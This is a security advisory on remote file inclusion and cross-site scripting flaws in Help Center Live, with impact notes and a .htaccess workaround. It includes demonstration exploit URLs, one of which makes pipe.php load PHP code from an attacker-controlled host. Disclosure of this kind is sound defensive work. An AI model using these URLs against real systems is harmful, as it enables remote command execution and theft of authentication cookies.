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Category:   Application (Generic)  >   Help Center Live Vendors:   Bird, Michael
Help Center Live Include File Flaw Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1012685
SecurityTracker URL:  http://securitytracker.com/id/1012685
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 24 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  

Description:   Several vulnerabilities were reported in Help Center Live. A remote user can execute arbitrary commands on the target system. A remote user can also conduct cross-site scripting attacks.

James Bercegay of the GulfTech Security Research Team reported that a remote user can send a specially crafted 'HCL_path' parameter to the 'pipe.php' script to cause the script to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/inc/pipe.php?HCL_path=http://[attacker]

A similar flaw is reported in 'skin.php'.

It is also reported that the 'index.php' script does not properly validate user-supplied input in the 'find' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Help Center Live software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is of the following form:

http://[target]/faq/index.php?find=[CODEGOESHERE]&search=Search

The original advisory is available at:

http://www.gulftech.org/?node=research&article_id=00058-12242004

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Help Center Live software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Solution:   No solution was available at the time of this entry.

The report indicates that, as a workaround, you can configure a '.htaccess' file deny access to the '/inc/' directory.

Vendor URL:  www.helpcentrelive.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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